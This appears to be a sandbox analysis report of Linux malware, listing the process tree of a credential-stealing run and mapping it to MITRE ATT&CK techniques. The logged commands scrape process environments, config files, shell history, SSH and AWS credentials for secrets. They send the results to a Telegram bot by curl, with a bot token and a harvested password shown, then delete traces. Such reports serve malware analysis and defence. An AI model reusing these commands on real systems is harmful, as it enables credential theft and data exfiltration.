  strings /proc/634/environ
  2⤵
  PID:960
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:961
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:963
- /usr/bin/strings
  strings /proc/640/environ
  2⤵
  PID:962
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:965
- /usr/bin/strings
  strings /proc/641/environ
  2⤵
  PID:964
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:967
- /usr/bin/strings
  strings /proc/642/environ
  2⤵
  - Reads runtime system information
  PID:966
- /usr/bin/strings
  strings /proc/644/environ
  2⤵
  PID:968
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:969
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:971
- /usr/bin/strings
  strings /proc/669/environ
  2⤵
  PID:970
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:973
- /usr/bin/strings
  strings /proc/7/environ
  2⤵
  PID:972
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:975
- /usr/bin/strings
  strings /proc/76/environ
  2⤵
  PID:974
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:977
- /usr/bin/strings
  strings /proc/788/environ
  2⤵
  PID:976
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:979
- /usr/bin/strings
  strings /proc/8/environ
  2⤵
  PID:978
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:981
- /usr/bin/strings
  strings /proc/853/environ
  2⤵
  PID:980
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:983
- /usr/bin/strings
  strings /proc/9/environ
  2⤵
  PID:982
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:985
- /usr/bin/strings
  strings /proc/98/environ
  2⤵
  PID:984
- /usr/bin/find
  find / -maxdepth 5 "(" -name config.php -o -name config.app.php -o -name database.php -o -name wp-config.php -o -name .env -o -name next.config.js -o -name settings.py -o -name application.yml ")" -not -path "*/proc/*" -not -path "*/sys/*" -not -path "*/dev/*" -not -path "*/vendor/*" -not -path "*/node_modules/*"
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:986
- /usr/bin/find
  find /home -name .bash_history -exec tail -50 "{}" ";"
  2⤵
  PID:987
- /usr/bin/id
  id -u
  2⤵
  PID:988
- /bin/ls
  ls -la /root/.ssh/
  2⤵
  PID:989
- /usr/bin/head
  head -5
  2⤵
  PID:991
- /bin/cat
  cat /root/.ssh/authorized_keys
  2⤵
  PID:990
- /bin/ls
  ls -la /root/.ssh/
  2⤵
  PID:992
- /bin/ls
  ls -la /home/prabowo/.ssh/
  2⤵
  PID:993
- /usr/bin/head
  head -80
  2⤵
  PID:996
- /usr/bin/sort
  sort -u
  2⤵
  PID:995
- /bin/cat
  cat /tmp/.proc_environ.txt
  2⤵
  PID:994
- /usr/bin/head
  head -80
  2⤵
  PID:999
- /bin/grep
  grep -iE "DB_|DATABASE|APP_KEY|SECRET|PASSWORD|AWS_|OPENAI|ANTHROPIC|STRIPE|GITHUB_TOKEN|PRIVATE_KEY|SEED_PHRASE|WALLET|JWT_|FIREBASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:998
- /usr/bin/printenv
  printenv
  2⤵
  PID:997
- /usr/bin/head
  head -60
  2⤵
  PID:1002
- /usr/bin/sort
  sort -u
  2⤵
  PID:1001
- /bin/grep
  grep -iE "OPENAI_API_KEY|ANTHROPIC_API_KEY|CLAUDE_API_KEY|GEMINI_API_KEY|STRIPE_SECRET|sk_live_|sk_test_|TWILIO_AUTH_TOKEN|SENDGRID_API_KEY|GITHUB_TOKEN|ghp_[a-zA-Z0-9]{36}|GITLAB_TOKEN|DISCORD_TOKEN|SLACK_TOKEN|xoxb-|FIREBASE_API_KEY|CLOUDFLARE_API_TOKEN|DO_TOKEN|GOOGLE_API_KEY|AIza" /tmp/.ea.txt /tmp/.proc_environ.txt
  2⤵
  - System Network Configuration Discovery
  PID:1000
- /usr/bin/sort
  sort -u
  2⤵
  PID:1004
- /usr/bin/head
  head -50
  2⤵
  PID:1005
- /bin/grep
  grep -iE "DB_HOST|DB_PORT|DB_DATABASE|DB_USERNAME|DB_PASSWORD|DATABASE_URL|MYSQL_HOST|MYSQL_USER|MYSQL_PASSWORD|POSTGRES_HOST|POSTGRES_USER|POSTGRES_PASSWORD|MONGO_URI|MONGODB_URI|REDIS_URL|REDIS_PASSWORD" /tmp/.ea.txt /tmp/.proc_environ.txt
  2⤵
  PID:1003
- /bin/cat
  cat "~/.aws/credentials" /root/.aws/credentials
  2⤵
  PID:1006
- /usr/bin/find
  find / -name "service-account*.json" -not -path "*/proc/*" -not -path "*/sys/*"
  2⤵
  - Reads network interface configuration
  - Reads CPU attributes
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:1007
- /usr/bin/head
  head -60
  2⤵
  PID:1012
- /bin/cat
  cat /tmp/.hist_all.txt
  2⤵
  PID:1011
- /usr/bin/head
  head -30
  2⤵
  PID:1014
- /bin/ls
  ls -la /root
  2⤵
  PID:1013
- /usr/bin/id
  id prabowo
  2⤵
  PID:1015
- /bin/ls
  ls -la /home/prabowo/.ssh/authorized_keys
  2⤵
  PID:1016
- /bin/ls
  ls -la /root/.ssh/authorized_keys
  2⤵
  PID:1017
- /bin/grep
  grep -iE "OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD_TOKEN|SLACK_TOKEN|FIREBASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API|sk-|sk-ant-|SG\\.|ghp_|xoxb-|AIza" /tmp/.rc_h6rMgq
  2⤵
  PID:1018
- /bin/grep
  grep -iE "PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|ETH_|BTC_|SECRET_RECOVERY|KEYSTORE" /tmp/.rc_h6rMgq
  2⤵
  PID:1019
- /bin/cp
  cp /tmp/.ea.txt /tmp/.re_ibiecZ
  2⤵
  PID:1020
- /bin/grep
  grep -qF 66.228.55.63
  2⤵
  PID:1022
- /bin/grep
  grep -qF 104.237.129.45
  2⤵
  PID:1024
- /usr/bin/curl
  curl -s -m 20 -X POST https://api.telegram.org/bot8933003001:AAEuwR3koW9CwQAyedZaXF-39YC4foE8dc8/sendMessage --data-urlencode "chat_id=-5166763693" --data-urlencode "text=debian9-armhf-20260513-en-4 RCE HIT! Host : debian9-armhf-20260513-en-4 IP : 10.127.0.159 User : uid=0(root) gid=0(root) groups=0(root) Home : /root Distro: debian Pwnkit: SUCCESS (fallback root) Date : 2026-06-27 22:53:34"
  2⤵
  - Checks CPU configuration
  PID:1025
- /bin/sleep
  sleep 1
  2⤵
  PID:1027
- /usr/bin/wc
  wc -c
  2⤵
  PID:1029
- /bin/cat
  cat /tmp/.rc_h6rMgq
  2⤵
  PID:1030
- /bin/grep
  grep -qF 66.228.55.63
  2⤵
  PID:1032
- /bin/grep
  grep -qF 104.237.129.45
  2⤵
  PID:1034
- /usr/bin/curl
  curl -s -m 20 -X POST https://api.telegram.org/bot8933003001:AAEuwR3koW9CwQAyedZaXF-39YC4foE8dc8/sendMessage --data-urlencode "chat_id=-5166763693" --data-urlencode "text==================================== TEMPIX RCE REPORT v5.3 Host : debian9-armhf-20260513-en-4 IP : 10.127.0.159 User : uid=0(root) gid=0(root) groups=0(root) Date : 2026-06-27 22:53:34 Home : /root Distro : debian Pwnkit : SUCCESS (fallback root) =================================== === [1] SYSTEM === User : root | uid=0(root) gid=0(root) groups=0(root) Host : debian9-armhf-20260513-en-4 Uname : Linux debian9-armhf-20260513-en-4 4.9.0-13-armmp-lpae #1 SMP Debian 4.9.228-1 (2020-07-05) armv7l GNU/Linux IP : 10.127.0.159 Home : /root STATUS : *** ROOT *** === [2] SSH STATUS === --- Current user --- No .ssh dir --- Root --- No root .ssh dir --- prabowo --- total 12 drwx------ 2 prabowo prabowo 4096 Jun 27 22:53 . drwxr-xr-x 3 prabowo prabowo 4096 Jun 27 22:53 .. -rw------- 1 prabowo prabowo 740 Jun 27 22:53 authorized_keys === [3] ALL PROC ENVIRON === === [4] PRINTENV === === [5] ALL .ENV FILES === === [6] API KEYS === === [7] DATABASE === === [8] CLOUD === === [9] HISTORY (all users) === === [10] HOME DIR FILES === HOME: /root total 16 drwx------ 2 root root 4096 Oct 17 2023 . drwxr-xr-x 21 root root 4096 May 13 19:48 .. -rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc -rw-r--r-- 1 root root 148 Aug 17 2015 .profile === [11] CONFIGS (Laravel / WP / Next) === === [12] PWNKIT RESULT === Status : SUCCESS (fallback root) User : prabowo Pass : D4pur.Mbg87 Groups : uid=1001(prabowo) gid=1001(prabowo) groups=1001(prabowo) -rw------- 1 prabowo prabowo 740 Jun 27 22:53 /home/prabowo/.ssh/authorized_keys Root key: No root key =================================== END - debian9-armhf-20260513-en-4 | 2026-06-27 22:53:34 ==================================="
  2⤵
  - Checks CPU configuration
  PID:1035
- /bin/sleep
  sleep 1
  2⤵
  PID:1037
- /bin/cp
  cp /tmp/.rc_h6rMgq /tmp/.kontol_miber
  2⤵
  - Writes file to tmp directory
  PID:1038
- /usr/bin/head
  head -20
  2⤵
  PID:1040
- /bin/cat
  cat /tmp/.rk_12Qof1
  2⤵
  PID:1039
- /usr/bin/head
  head -10
  2⤵
  PID:1042
- /bin/cat
  cat /tmp/.rw_fMdd0r
  2⤵
  PID:1041
- /usr/bin/head
  head -30
  2⤵
  PID:1044
- /bin/cat
  cat /tmp/.re_ibiecZ
  2⤵
  PID:1043
- /bin/chmod
  chmod 644 /tmp/.kontol_miber
  2⤵
  PID:1045
- /bin/rm
  rm -f /tmp/.rc_h6rMgq /tmp/.rk_12Qof1 /tmp/.rw_fMdd0r /tmp/.re_ibiecZ
  2⤵
  PID:1046
- /bin/rm
  rm -f /tmp/.el.txt /tmp/.ec.sh /tmp/.ea.txt /tmp/.proc_environ.txt
  2⤵
  PID:1047
- /bin/rm
  rm -f /tmp/.configs.txt /tmp/.hist_all.txt
  2⤵
  PID:1048
- /bin/rm
  rm -f "/tmp/.rc_*" "/tmp/.rk_*" "/tmp/.rw_*" "/tmp/.re_*"
  2⤵
  PID:1049

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Account Manipulation

T1098

SSH Authorized Keys

T1098.004

Boot or Logon Autostart Execution

T1547

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

Modify Authentication Process

T1556

Pluggable Authentication Modules

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Sudo and Sudo Caching

T1548.003

Account Manipulation

T1098

SSH Authorized Keys

T1098.004

Boot or Logon Autostart Execution

T1547

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Sudo and Sudo Caching

T1548.003

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

Indicator Removal

T1070

Clear Linux or Mac System Logs

T1070.002

Modify Authentication Process

T1556

Pluggable Authentication Modules

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Modify Authentication Process

T1556

Pluggable Authentication Modules